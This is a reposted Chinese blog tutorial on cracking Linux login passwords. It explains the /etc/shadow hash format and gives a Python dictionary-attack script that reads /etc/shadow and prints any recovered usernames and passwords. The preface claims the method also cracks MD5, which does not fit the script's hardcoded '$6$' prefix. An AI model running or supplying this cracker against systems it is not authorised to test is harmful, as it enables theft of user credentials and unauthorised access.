linux登錄密碼破解

下文是轉載的一篇SHA512破解,經測此法也可破解MD5。

另外破解速度取決於字典的好壞,可尋找比較優秀的字典。

 

https://blog.csdn.net/Key_book/article/details/80439243

 

linux密碼暴力破解
由於MD5加密已經發展了很多年,現在市面上已經積累了大量的MD5數據,這樣,MD5的安全性也就受到了威脅,所以,從centos6.x版本開始,系統密碼開始採用SHA-512加密,與MD5加密相比,SHA-512加密後長度更長,也就意味着SHA-512相比MD5更加安全.

密碼加密原理
在我們進行密碼破解前,我們首先需要了解linux系統密碼加密的原理: 
1. 密文由3部分組成,以”$”分隔,第一部分爲ID,第二部分爲鹽值,第三部分爲加密密文

什麼是ID? 
ID用來表示加密的方法. 
如下圖, 
1表示加密方法使用MD5,1表示加密方法使用MD5,6表示加密方法使用SHA-512

密文示例:  
$6$D0xsORq3b7GGsbYv$7L8myKFcJf1FqnvtzD.Zcbx9PeHnwGH1YJm/xDeEKmABPIxzUC7mQmEiIEHoHypXeJ969Tfp4c47WQgjkT0YH0  

$id$salt$encrypted
採用方法  鹽值   加密密文  

——————————————   
ID   加密方法
1   MD5  
5   SHA-256
6   SHA-512
——————————————    
什麼是鹽值(salt)? 
鹽值就是使用隨機字符碼混合密碼加密算法所產生的密碼,作用就是即使是同一個密碼,使用同一種加密方式,所產生的密文值也不同 
如上面提到的密文示例:

$6$D0xsORq3b7GGsbYv  #這一段就是鹽值,在加密的時候連同前面的ID一起加密  
1
什麼是密文? 
這個我就不多介紹了,同上面的密文示例

7L8myKFcJf1FqnvtzD.Zcbx9PeHnwGH1YJm/xDeEKmABPIxzUC7mQmEiIEHoHypXeJ969Tfp4c47WQgjkT0YH0  #這一段就是密文了
1
瞭解了原理,我們就可以使用工具來進行密碼的暴力破解了 
這裏採用是利用python進行破解.

需要用到python下的 crypt 這個庫,這個庫下的.crypt方法可以根據猜想的密碼原文和鹽值來生成加密後的完整密文.

簡單的講一下思路: 
1.獲取到鹽值 
2.將獲取的鹽值和猜想的密碼通過crypt.crypt()加密後生成的密文與系統中存儲的密文進行對比,如果密文相同,則輸出對應的用戶和密碼

環境準備: 
1.python 
2./root/Desktop/wordlist.TXT 存放着我們的密碼字典 
3./etc/shadow 存放着系統的密碼

附上詳細代碼和註釋,有不明的白的可以留言.

#!/usr/bin/env python         #指定這是一個python文件,使用這個解釋器執行   
#-*- coding:utf-8 -*-         #設定編碼格式,防止報錯
import crypt                  #調用crypt這個庫

user_passfile = "/etc/shadow"   #獲取系統密碼路徑
zidian = "/root/Desktop/wordlist.TXT" #獲取字典路徑

#提取系統中的用戶名和密文
def get_pass(user_passfile):   
    used = {}                  #定義一個空字典
    f=open(user_passfile,"r")  #讀取系統密碼文件
    userline = f.readlines()   #將該文件轉換爲列表格式
    f.close()                  #關閉文件
    for i in userline:         #遍歷列表裏的內容
        if len(i.split(":")[1]) > 3:  #以":"分割,取第二個元素的長度,也就是完整密文值的長度,如果大於3,我們認定它有密碼,把它取出來
            used[i.split(":")[0]]=i.split(":")[1]  #我們將取出的密文給了相應的用戶,這裏的used[i.split(":")[0]]是字典的key,也就是系統中的用戶名,後面的i.split(":")[1]是用戶名後的加密密文
    return used      #返回這個字典

#提取我們密碼字典裏的內容
def look_d(zidian):        
    f = open(zidian,'r')   #讀取字典文件內容
    mwlist = f.readlines() #將讀取的內容轉換爲列表
    f.close()              #關閉文件
    return mwlist          #返回這個列表

#根據密文是否相同判斷出對應的用戶和密碼  
def main(user_passfile,zidian):
    used = get_pass(user_passfile)        #調用自定義函數get_pass
    mingwen = look_d(zidian)              #調用自定義函數look_d
    for user in used:
        passwd = used[user]               #一次遍歷每個用戶的密文
        salt = "$6$"+passwd.split("$")[2]  #獲取鹽值
        for passwdmw in mingwen:       #遍歷系統中的每個完整密文
              if passwd == crypt.crypt(passwdmw.rstrip(),salt):    #如果我們猜想的密文與系統中的密文相同,輸入它的用戶名和密碼
                    print("userName:%s passWord:%s" %(user,passwdmw.rstrip()))  


if __name__ == "__main__":
    main(user_passfile,zidian)

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章